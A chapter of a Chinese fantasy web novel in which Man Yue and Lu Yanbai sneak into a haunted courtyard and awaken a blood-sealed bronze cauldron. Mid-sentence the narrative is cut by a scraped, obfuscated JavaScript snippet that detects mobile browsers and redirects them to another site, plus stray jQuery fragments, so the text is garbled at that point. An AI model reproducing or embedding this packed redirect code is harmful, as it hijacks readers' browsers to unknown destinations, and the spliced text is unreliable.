话说完,满月注视着陆宴白,心砰砰直跳。
她也知道,自己这话太过于离经叛道,属实是想象力没边的人才能想到的情况。
毕竟在这个世界,已经多少年不曾有过飞升的传闻,更别提邪仙的存在。
陆宴白垂着眼睑默然了片刻,再抬起眸时,只带着抹似是而非的笑,满月并不是很能琢磨出他的心思如何。
“我也知道这太过匪夷所思了点。”满月替自己找补,“不过也不是……”
“不可能”三个字尚未出口,陆宴白就先慢条斯理开了口:“你知道的还挺多。”
满月立时停住了。
她眨眨眼,一时被这短短七个字所透露出的信息震撼得不知该如何是好。
陆宴白趁这个机会从她怀里躲过话本子,他丢了个糖渍梅子到嘴里,向后一靠倚在榻几上。
“意思是,你也知道?”宕机了半天,满月才咂摸过味来。
陆宴白笑起来,回答很是模棱两可:“你猜。”
满月:“……”
别人不清楚,陆宴白这么回答,肯定是一早就知道了。
满月捏皱了案几上的纸笺:“那,那献祭的事你可知道了?”
陆宴白眉梢微动,随即他歪了下头,饶有兴趣地笑道:“这个就是不知道了,你讲来听听?”
早知道这么回事,满月一开始就不该瞻前顾后考虑那么多,白白浪费时间。
“我……我也是听十夜公子不小心说漏嘴的,所以知道的不太多。”先把锅甩好,满月才入正题,“那个邪仙,似乎是想将密云城一城的人献祭。”
“她献祭那些人用来干什么?”
满月习惯性地正要回答,忽然发现这不该是她能知道的事,紧急刹了车:“……这我就不知道了。”
陆宴白眯了下眼,弯起唇角:“所以你才一直想让我去那个小院看看?”
满月点点头:“我听她们说,那个地方和密……和邪仙有关系,或许是个突破口。”
她说完,见陆宴白没什么反应,有些着急起来:“你答应过我的!你该不会是想反悔了吧?”
反悔算不上,只是觉得麻烦。
这些事陆宴白不是不知道,不想管就是因为懒得管。
不过他确实有些好奇。
他就说她这么胆小的人,怎么会出现在那个小院外面,还不顾自己的安危作死,俨然把生死置之度外,这可和她胆小怕事的性格不太相符。
原来是为了救人。
陆宴白垂眸瞧着她,半真半假地笑道:“你身在十方城,又是妖,既然受不了波及,何必要为其他人冒这个风险。”
满月眨了眨眼,一脸理所应当:“就算不为一城的人,可是陈仓他们还在密云城。”
陆宴白哦了一声,仍旧兴致缺缺:“所以呢?他们就值得你这样做了吗?”
这倒真把满月给问住了。
陆宴白似笑非笑瞧着她,隐约有暗芒在眼中流转。
程南楼他们都是被济世为人的观念洗脑惯了的,若是他们做出这样的义举,陆宴白并不会觉得奇怪。
可满月不同。
去过三危山,他比任何人都知道她生活在一个什么样的环境里,被压榨,被剥削,被轻视,被嘲弄。
就算如此,还能养出这么她个打不死搓不圆又没完全被同化的心性纯良的小妖怪,的确不是一件容易的事。
陆宴白笑她:“看不出来,你还挺善良。”
满月一听这个评价全身就起鸡皮疙瘩,她捂住耳朵:“你可别捧杀我。”
她也是为了她自己。
要是真的善良,她也不会在他这个作恶多端大反派的问题上明哲保身,再三缄默。
满月不想再和他纠结于这个问题,她重新铺展开刚才不小心被揉皱了的纸张:“我觉得那个小院里,一定藏着什么重要的东西,说不定就与献祭有关。邪仙现在被……被一些东西牵绊着无法露面,现在正是好时机。”
满月说这话还蛮忐忑的,她的推测大部分都是依据原著的一些信息,陆宴白要较真起来问怎么得来的,她不一定能答得出来。
好在陆宴白没同她计较这些细枝末节。他看了她一眼,语气就像讨论天气一样随意:“好。我帮你。”
满月眼睛一亮,有点不敢相信:“真的?”
“真的。”
“什么时候?”
陆宴白翻开话本:“明晚。”
*
月黑风高夜。
满月不小心踩到了枯枝,寂静的夜里,发出清脆的声响。
她赶忙停住脚步。
走在前面的陆宴白头也不回,只将一张符纸掷了过来,符纸轻飘飘地飘在半空,却不偏不倚落在了满月怀中。
金光一现,符箓便消散在她周身,隐去她的行迹和气息。
看来陆宴白比她想象中知道的还多。织梦兽是没有五官的妖兽,听力视力虽较常人来说也算敏锐,但与其对气息的捕捉来说却是不值一提,它甚至能够以此同时关注到方圆几百里的变化。
要想悄无声息进入小院,首要的便是遮蔽气息。
再次回到小院前的林子里,树影重重,一切好似和几日前没有任何区别。
满月从陆宴白身后勉强探出半个脑袋,看着鬼气森森的院落,嘟囔道:“一定要我跟着来吗?”
陆宴白好笑,垂眼瞧她:“是你拜托我来看的,你不跟着一起谁跟着一起?”
满月讪讪,抬眸对上他的视线:“你也知道我法力微弱,跟着你就不怕给你添乱吗?”
陆宴白弯起眼睛:“我不怕。”
满月:“……”
可她怕啊。
她可不要太怕了QAQ
冷不丁又像是回到了在三危山的时候,她跟着他进入危机重重的绣楼。
不过那时她完全是被迫的,现在……
只能说还是被迫的。
陆宴白看着不远处的小院,没有急着动手,而是问她:“你现在还能看到那团血红之雾吗?”
这是之前满月告诉他的。
夜色深重,相比于白天,那团若有似无的血红之雾并不醒目。
满月眯着眼睛看了会儿,点点头:“能看到,不过看不清。”
回答完,她抬头看向身边的陆宴白:“那到底是什么?”
陆宴白瞧她一眼,笑了笑,却没有回答。
又来这套。
好在满月习以为常,没有再继续追问。
满月四下里看了看,她正打算问什么时候行动,一张面具就扣在了她的脸上。
满月赶忙用手扶稳了面具,不解道:“这是什么?”
陆宴白语气懒懒的,就像在说一件微不足道的小事:“傩面而已。放心,不是害你的。”
满月扶着面具的手微微一顿。
……这该不会就是原著里程南楼所用过的那个傩面吧?
十二傩面,原是古人驱邪所用之物,天长日久,在一代代除妖师手中,逐渐成了神器。原著里程南楼的傩面不仅可以在一段时间内完全改变一个人的身形面貌,还能依据不同傩面兽相发动攻击,必要时甚至能挡下致命一击。
简而言之就是,神物。
傩面照理应有十二张,但流传于世的却只有三张,弥足珍贵。
陆宴白是玄都观的人,有此神物不算稀奇,稀奇的是他竟然给了她。
他什么时候这么好心了?
“你放手,傩面会自己戴上。”
满月狐疑着松开手,傩面霎时似活物一般醒了过来,向四面延展,紧紧扒在她整张脸上。
须臾,傩面与她的脸就完全融合,满月再伸手摸,就什么都摸不到了。
“傩面能改变你的面貌,若是遮蔽气息的法术被破,你也不会被认出来。”陆宴白难得一口气正经讲这么多话,“不过只有一炷香的时间。”
有别于其他地方,小院没有点灯,整个院落仿佛与周遭的黑暗融为一体。满月跟着陆宴白趴在院墙上,悄悄探头一看,不曾想漆黑的小院里竟然空无一人,连织梦兽的绿色萤火都不知所踪。
陆宴白纵身一跃,悄无声息落了地。
满月紧跟其后,大约还是因为身体素质的提高,同样没有发出多大声响。
陆宴白见她短
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16000278|178149||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
短时间内进步如此迅疾,挑了下眉,倒是奇怪起来,满月知道他想问什么,胡乱打了个手势,意思是等之后再说。
她手势做得抽象,陆宴白倒是看懂了,没再继续追问。
小院不大,三面各一房间,由于黑着灯,同样看不到其中有什么。
小院里比外面更加安静,静到简直没有一点声音。
如同纸鹤所言,院子最中央盛放着一口大鼎,云遮雾绕,月光晦暗不明,很多细节看不清楚,只能勉强看到大鼎上布满了不少灰尘,鼎身凸起,雕刻着奇形怪状的妖兽。
最令满月在意的,是鼎身上萦绕着一团挥之不去的血红之雾。
原来小院上方的血雾来自于这里。
若是先前还只是怀疑,现在满月已经有了七八分的确定,就算这不是布阵用的器具,也定然与此有关。
但是她要怎么处理?难道直接打碎它?
满月陷入沉思的时候,陆宴白也没闲着,他取出早备好的纸人,双手交叠结印,纸人如同被吹了一□□气进去,歪歪斜斜站起来,四散而去,充当在周围的耳目。
做好这一切,陆宴白退回到繁茂的花树下,月光透过斑驳树影落下,映入他黑沉沉的眸中,深不见底。
这几日他表面上是在养伤,实际白天都趁着满月不在的工夫来这里寻找命魂珠,可惜翻了个底朝天,都没有发现任何线索。
包括这口大鼎。
他之所以会答应来帮她,除了一时兴起,也是想要看看,她能不能翻出些什么新花样。
虽然不清楚具体的原因,但她总是能知道一些意料之外的事情。
满月浑然不知陆宴白心中所想,仍在积极探索着铜鼎。她轻轻碰触鼎身,见没有惹来异动,胆子大了些,开始抚摸起其上错落的纹路。
鼎身刻的图腾大多是早就在妖王陨落前就绝迹的上古妖兽,有生四条腿,有长三只眼睛,还有六条胳膊的,满月辨识不出。
她不禁又对自己先前的判断又怀疑起来。
难道这真的只是一口平平无奇的普通铜鼎?
阵法大多是以物而制,她可她摸了半天,除了摸到一手灰,什么都没有触发。
沿着纹路,忽然灵光一现。
会不会是血符阵?
她记得原著里堕仙就用过这一招。血符阵是阵法中最低端的一等,入门最容易,要破解起来也最容易,所以但凡有些修为的,都不会用此法建阵。
可偏偏堕仙是个奇怪的人,常常反其道而行之。主角团也曾被此法迷惑。
满月犹豫了一下,从旁边寻了一块有些锋利的石块,对着自己手掌比划了一阵,却迟迟下不了手。
没办法,她太怕疼了!
一旁的陆宴白看着她这一系列迷惑的操作,纵然见多识广,也不禁轻蹙了下眉。
她在干什么?
要对自己下手真的不是一件容易的事,满月踌躇再三,将视线从手掌上移到手指,最后小心翼翼,用石块轻轻划开一道小小的口子。
鲜血是渗了出来,但没多少,完全不足以涂抹到铜鼎上。
满月盯着已经快要愈合的伤口:“……”
陆宴白眉梢跳了跳,终于看不下去了。他走过来,压低声音询问:“血符阵?”
不过短短几个动作,他竟然就猜出了她的用意。
满月不可思议地挣圆了眼,点点头。
陆宴白看着大鼎,眼中闪过讥讽,刚想嘲笑她不可能,但念头一转,忽然就觉得:万一呢。
他确实没有试过这个方法。用此法铸阵,即便阵主修为了得,上限也不会太高。所以他来这里寻找命魂珠的第一日,就没想过这个方法。
不过试一试也不会亏到哪里去。
陆宴白从袖子里拿出一把小刀,眼睛都不眨一下,就在自己的掌心划开一道。
血汩汩涌出。
这动作快准狠,一点不带犹豫,直看得满月头皮发麻。
这哥们对自己未免也太狠了点。
陆宴白面不改色地将手按在了鼎身,鲜血以极快的速度渗入鼎中,一滴不剩。
随后,鼎身开始发起光来。